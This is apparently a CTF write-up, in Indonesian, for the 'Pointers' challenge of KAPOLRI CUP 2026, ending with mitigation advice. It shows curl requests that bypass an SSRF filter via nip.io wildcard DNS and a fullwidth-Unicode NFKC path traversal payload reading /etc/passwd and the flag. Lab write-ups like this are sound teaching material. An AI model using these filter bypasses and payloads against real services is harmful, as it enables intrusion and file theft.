~/tiramisaks
← back to /home

KAPOLRI CUP 2026: Pointers

KAPOLRI CUP 2026 2026-08-01 Binary Exploitation / Reverse Engineering
#KAPOLRI CUP 2026 #Pointers #Memory Corruption #Pwn

Pointers — Link Preview & Bookmarks (SSRF → LFI)

Kategori: SSRF / LFI / Bypass Filter Target: http://18.143.187.232:8083/ Flag: polriCTF26{fu11w1dth_d0ts_p01nt_str41ght_1nt0_th3_c0ntr0l_pl4n3} python3 -c ‘import urllib.parse; print(urllib.parse.quote(”../../app/flag.txt”))‘

Ringkasan Solusi

  1. Recon — Situs adalah layanan “link preview”. Ada fitur POST /api/preview yang fetch URL secara server-side (SSRF).
  2. Petunjuk internal — Tabel “Your pointers” memuat /go/pghttp://127.0.0.1.nip.io:9000/flag, menandakan ada service internal “control-plane” di loopback port 9000.
  3. Bypass filter SSRF — Fetch ke IP privat langsung ditolak (refused: that target is on a private/internal network), tapi nip.io (wildcard DNS → 127.0.0.1) lolos filter.
  4. Enumerasi control-planeGET / di port 9000 membocorkan daftar route:
    • GET /internal/status
    • GET /internal/snapshot?file=<name> — baca file dari ./snapshots (LFI)
  5. Detail service/internal/status mengembalikan JSON: appRoot=/app, snapshotDir=./snapshots, filenameNormalization=NFKC, trust=loopback-only.
  6. Path traversal diblokirfile=../../etc/passwdillegal characters in filename (filter memblokir .. dan / pada string mentah).
  7. Bypass NFKC — Karena normalisasi NFKC dilakukan setelah cek filter (di sisi pembacaan file), gunakan karakter fullwidth yang NFKC-normalisasi ke ., /, dan huruf biasa:
    • (U+FF0E) → .
    • (U+FF0F) → /
    • (U+FF45) → e
    • dst. (offset 0xFF00 + 0x20)
  8. Baca flag..\..\app\flag.txt (depth 2) terbaca.

Recon Detail

1. Pengenalan Aplikasi

Halaman utama adalah layanan link preview:

  • Input URL → POST /api/preview dengan body {"url": "..."}.
  • Server mengambil URL tersebut (SSRF) lalu membangun “preview card”.
  • Ada catatan sistem: “Frontend fetches happen through the internal control-plane at http://127.0.0.1:9000 (loopback only — not exposed).“

2. Petunjuk Awal dari Tabel Pointers

Tabel “Your pointers” berisi redirect /go/<xx> yang sudah dibuat sebelumnya, mayoritas menuju internal:

/go/pg  → http://127.0.0.1.nip.io:9000/flag   (hits 14)
/go/pf  → http://localhost:9000/admin         (hits 3)
/go/pe  → http://127.0.0.1:9000/flag          (hits 17)
/go/pc  → http://[::1]:9000/flag              (hits 13)
...

Ini konfirmasi: service target ada di 127.0.0.1:9000, dan orang-orang sebelumnya sudah mencoba berbagai representasi alamat loopback.

3. Test SSRF Langsung

curl -X POST http://18.143.187.232:8083/api/preview \
     -H 'Content-Type: application/json' \
     -d '{"url":"http://127.0.0.1:9000/flag"}'
# => {"ok":false,"error":"refused: that target is on a private/internal network"}

Filter memblokir alamat privat/loopback. Percobaan lain (127.1, 2130706433, 0x7f000001, [::1], localhost, xip.io, lokasi @) juga ditolak atau gagal.

4. Bypass Filter — DNS Wildcard nip.io

nip.io adalah layanan wildcard DNS: <ip>.nip.io selalu resolve ke <ip> tersebut. Karena filter cek hostname/string, bukan hasil resolve DNS, hostname 127.0.0.1.nip.io lolos sedangkan fetch-nya tetap ke loopback.

curl -X POST http://18.143.187.232:8083/api/preview \
     -H 'Content-Type: application/json' \
     -d '{"url":"http://127.0.0.1.nip.io:9000/"}' \
# => 200, text/plain

5. Enumerasi Control-Plane (port 9000)

Respons / port 9000:

pointers control-plane (internal)

routes:
  GET /internal/status
  GET /internal/snapshot?file=<name>    read a cached snapshot from ./snapshots

example: /internal/snapshot?file=welcome.txt

/internal/status:

{
  "ok": true,
  "service": "pointers-control-plane",
  "bind": "127.0.0.1:9000",
  "snapshotDir": "./snapshots",
  "appRoot": "/app",
  "trust": "loopback-only",
  "filenameNormalization": "NFKC"
}

Informasi penting: app root di /app, snapshot di ./snapshots, dan ada normalisasi filename NFKC (clue utama exploit LFI).

6. Endpoint LFI — /internal/snapshot?file=

Baca file normal dari direktori snapshot:

GET /internal/snapshot?file=welcome.txt
# => "Pointers — snapshot cache ..."

7. Path Traversal Diblokir

GET /internal/snapshot?file=../../etc/passwd
# => "illegal characters in filename"

Filter memblokir substring .. dan karakter / pada string mentah (sebelum decoding/apapun).


Eksploitasi — Bypass Filter via Karakter Fullwidth (NFKC)

Analisis Logika Server (dari perilaku)

Dari /internal/status terlihat filenameNormalization: NFKC. Dari observasi perilaku:

  1. file=..(fullwidth)/etc/passwd → ditolak illegal characters jika masih ada / ascii.
  2. file=welcome.txt (semua fullwidth) → berhasil membuka welcome.txt.

Kesimpulan: filter cek string mentah, lalu saat membaca file dilakukan normalisasi NFKC. Artinya:

Input (mentah)Normalisasi NFKC →Filter (.. / /)?Dibaca sebagai
../../etc/passwd../../etc/passwdKETAHUANdiblokir
./ dkk.../lolos (bukan string ..//)traversal berhasil

Karakter fullwidth yang dipakai (offset 0xFF00 untuk ASCII printable):

  • (U+FF0E) → .
  • (U+FF0F) → /
  • a..z (U+FF41..FF5A) → a..z
  • A..Z (U+FF21..FF3A) → A..Z
  • 0..9 (U+FF10..FF19) → 0..9

PoC — Baca /etc/passwd

File: ..\..\etc\passwd → diubah ke fullwidth: . . / . . / etc/passwd

GET /internal/snapshot?file=%EF%BC%8E%EF%BC%8E%EF%BC%8F%EF%BC%8E%EF%BC%8E%EF%BC%8F%65%74%63%EF%BC%8F%70%61%73%73%77%64
# => root:x:0:0:root:/root:/bin/bash
#    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
#    ...

Karena app root /app dan snapshot di /app/snapshots, butuh 2 tingkat ../ untuk mencapai /.

Baca Flag

GET /internal/snapshot?file=..\..\app\flag.txt   (fullwidth)

Hasil:

polriCTF26{fu11w1dth_d0ts_p01nt_str41ght_1nt0_th3_c0ntr0l_pl4n3}

Script Solver

Lihat pointers_solve.py di direktori yang sama.

python3 pointers_solve.py

Mitigasi

  • Filter SSRF harus resolve DNS lalu cek IP hasil resolve (dan cek redirect), bukan cek string hostname.
  • Endpoint baca file internal jangan pernah expose, atau jika perlu, validasi setelah normalisasi path (NFKC) dan gunakan path.resolve() + cek prefix direktori yang diizinkan (mis. realpath().startsWith(snapshotDir)).
  • Normalisasi filename (NFKC/Unicode) harus dilakukan sebelum validasi, bukan sesudah.

Flag

polriCTF26{fu11w1dth_d0ts_p01nt_str41ght_1nt0_th3_c0ntr0l_pl4n3}